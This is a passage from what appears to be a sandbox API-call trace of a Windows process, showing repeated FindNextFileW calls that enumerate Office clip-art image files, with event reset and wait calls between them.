nFileSizeLow=0x504a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1 [0249.953] ResetEvent (hEvent=0x118) returned 1 [0249.953] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0249.957] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1 [0249.958] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c365a00, ftCreationTime.dwHighDateTime=0x1bd4f6a, ftLastAccessTime.dwLowDateTime=0x5f47ba90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c365a00, ftLastWriteTime.dwHighDateTime=0x1bd4f6a, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1 [0249.958] ResetEvent (hEvent=0x118) returned 1 [0249.958] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0249.963] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93701b00, ftCreationTime.dwHighDateTime=0x1bd4f69, ftLastAccessTime.dwLowDateTime=0x517da370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93701b00, ftLastWriteTime.dwHighDateTime=0x1bd4f69, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1 [0249.964] ResetEvent (hEvent=0x118) returned 1 [0249.964] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0249.968] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6557800, ftCreationTime.dwHighDateTime=0x1bd4d57, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6557800, ftLastWriteTime.dwHighDateTime=0x1bd4d57, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1 [0249.968] ResetEvent (hEvent=0x118) returned 1 [0249.968] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0249.973] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f48c00, ftCreationTime.dwHighDateTime=0x1bd4d56, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe4f48c00, ftLastWriteTime.dwHighDateTime=0x1bd4d56, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1 [0249.973] ResetEvent (hEvent=0x118) returned 1 [0249.973] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0249.980] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c6cc00, ftCreationTime.dwHighDateTime=0x1bd4d5a, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4c6cc00, ftLastWriteTime.dwHighDateTime=0x1bd4d5a, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1 [0249.980] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee332800, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee332800, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1 [0249.981] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01fb00, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed01fb00, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1 [0249.981] ResetEvent (hEvent=0x118) returned 1 [0249.981] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0249.986] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe58e2200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe58e2200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1 [0249.986] ResetEvent (hEvent=0x118) returned 1 [0249.986] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0249.989] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1fa9b00, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1fa9b00, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1 [0249.990] ResetEvent (hEvent=0x118) returned 1 [0249.990] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0249.993] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf688200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf688200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1 [0249.993] ResetEvent (hEvent=0x118) returned 1 [0249.993] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0249.997] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b147c00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b147c00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1 [0249.997] ResetEvent (hEvent=0x118) returned 1 [0249.997] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0250.008] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851e9b00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851e9b00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1 [0250.008] ResetEvent (hEvent=0x118) returned 1 [0250.008] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0250.627] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c98800, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1c98800, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1 [0250.627] ResetEvent (hEvent=0x118) returned 1 [0250.628] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0250.661] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a40fd00, ftCreationTime.dwHighDateTime=0x1bd4b27, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a40fd00, ftLastWriteTime.dwHighDateTime=0x1bd4b27, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1 [0250.661] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888a3600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x888a3600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1 [0250.661] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d0f5c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d0f5c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1 [0250.661] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39fc8c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39fc8c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1 [0250.662] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c58200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83c58200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1 [0250.662] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82945500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82945500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1 [0250.662] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a72500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a72500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1 [0250.663] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81632800, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81632800, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1 [0250.663] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81891500, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81891500, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1 [0250.663] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9438d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9438d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1 [0250.664] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5124300, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5124300, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1 [0250.664] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b9eb00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b9eb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1 [0250.664] ResetEvent (hEvent=0x118) returned 1 [0250.664] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0250.668] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b67a200, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b67a200, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1 [0250.669] ResetEvent (hEvent=0x118) returned 1 [0250.669] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0250.673] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9e7400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9e7400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1 [0250.673] ResetEvent (hEvent=0x118) returned 1 [0250.673] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0250.829] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae0bf00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ae0bf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1 [0250.829] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63b9b100, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63b9b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1 [0250.830] ResetEvent (hEvent=0x118) returned 1 [0250.830] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0250.842] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaca6c00, ftCreationTime.dwHighDateTime=0x1bd4b12, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaca6c00, ftLastWriteTime.dwHighDateTime=0x1bd4b12, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1 [0250.842] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2253700, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2253700, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1 [0250.843] ResetEvent (hEvent=0x118) returned 1 [0250.843] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0250.847] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbde25400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbde25400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1 [0250.847] ResetEvent (hEvent=0x118) returned 1 [0250.847] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0250.851] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d095f00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d095f00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1 [0250.851] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2a9800, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd2a9800, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1 [0250.852] ResetEvent (hEvent=0x118) returned 1 [0250.852] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0250.856] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e80900, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e80900, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1 [0250.857] ResetEvent (hEvent=0x118) returned 1 [0250.857] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0250.861] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac309900, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac309900, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1 [0250.861] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf533800, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf533800, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1 [0250.862] ResetEvent (hEvent=0x118) returned 1 [0250.862] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0250.874] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf0de00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcf0de00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1 [0250.874] ResetEvent (hEvent=0x118) returned 1 [0250.875] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0250.885] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65d6900, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd65d6900, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1 [0250.886] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd52c3c00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd52c3c00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2576, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00525_.WMF", cAlternateFileName="")) returned 1 [0250.886] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3fb0f00, ftCreationTime.dwHighDateTime=0x1bd4af9, 